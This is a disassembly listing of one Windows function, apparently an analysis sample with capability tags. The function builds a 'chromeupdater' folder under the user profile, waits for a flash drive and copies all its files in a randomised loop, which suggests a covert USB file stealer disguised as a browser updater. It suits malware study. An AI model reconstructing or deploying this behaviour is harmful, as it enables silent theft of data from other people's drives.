Function at 0x140005280
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r14
push r15
mov eax, 0x1490
call fcn.140009ab0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1480], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xe0], xmm1
lea r8d, [r12 + 3]
lea rdx, [0x14000b724]
lea rcx, [rsp + 0xd0]
call fcn.140006b80
nop
lea rcx, str.USERPROFILE
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
test rax, rax
je 0x14000534b
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140005315
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140006b80
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [rsp + 0x80]
movups xmmword [rsp + 0xc0], xmm1
jmp 0x14000537b
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], r12
mov qword [rsp + 0xc8], r12
xor r8d, r8d
lea rdx, [0x14000b5f7]
lea rcx, [rsp + 0xb0]
call fcn.140006b80
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rsi, qword [rsp + 0xc0]
sub rax, rsi
cmp rax, 0xe
jb 0x14000571a
lea r15, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 0xf
cmova r15, qword [rsp + 0xb0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xa8], r12
lea r14, [rsi + 0xe]
mov ebx, 0xf
lea rdi, [rsp + 0x90]
cmp r14, rbx
jbe 0x14000546d
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140005424
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140008c78
test rax, rax
je 0x14000544c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140005465
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140005453
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005720
jmp 0x140005409
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005462
call fcn.140008c78
mov rdi, rax
jmp 0x140005465
mov rdi, r12
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xa8], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.chromeupdater]
movsd qword [rsi + rdi], xmm0
mov eax, dword [0x14000b730]
mov dword [rsi + rdi + 8], eax
movzx eax, word [0x14000b734]
mov word [rsi + rdi + 0xc], ax
mov byte [rdi + r14], 0
mov rdi, qword [rsp + 0xa0]
lea rbx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rbx, qword [rsp + 0x90]
call fcn.140007dd0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140001a20
nop
mov qword [rsp + 0x60], r12
lea rax, [0x14000f070]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.140003960
cmp dword [rsp + 0x60], 0
jne 0x140005726
mov rdx, qword [rsp + 0x88]
cmp rdx, 7
jbe 0x140005569
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005564
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005564
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008c70
lea rdx, str._DIRECTORY__Directory_has_been_created
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006040
lea rdx, [0x140006210]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x1474], 0xffffffff
mov dword [rsp + 0xf4], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0xf4], eax
inc rdx
cmp rdx, 0x270
jb 0x1400055b0
mov dword [rsp + 0xf0], 0x270
mov dword [rsp + 0x2c], 0x1f
mov dword [rsp + 0x28], 0x57
mov esi, 0x80000000
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x70]
call fcn.140005870
mov rcx, rax
call fcn.1400046f0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x140005685
lea rdx, str.___Starting_copying_files
call fcn.140006040
lea rdx, [0x140006210]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x70]
call fcn.140005870
mov rbx, rax
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x38]
call fcn.140005870
nop
mov rdx, rbx
mov rcx, rax
call fcn.140004930
lea rdx, str._SUCCESS__all_files_are_copied
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006040
jmp 0x1400056a1
lea rdx, str.____Flash_drive_is_not_connected
call fcn.140006040
lea rdx, [0x140006210]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 0x8000001f
lea rcx, [rsp + 0xf0]
call fcn.140007a60
mov ecx, eax
imul rax, rcx, 0x39
mov edi, ebx
cmp eax, 0x39
jae 0x1400056e8
cmp eax, 0x19
jae 0x1400056e8
nop word [rax + rax]
lea rcx, [rsp + 0xf0]
call fcn.140007a60
mov ecx, eax
imul rax, rcx, 0x39
cmp eax, 0x19
jb 0x1400056d0
shr rax, 0x20
lea edx, [rdi + rax]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
movsxd rax, ecx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
call fcn.140006250
nop
jmp 0x1400055f2
call fcn.1400011a0
int3
call fcn.140001100
nop
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x60]
lea rcx, str.create_directories
call fcn.140002b00
int3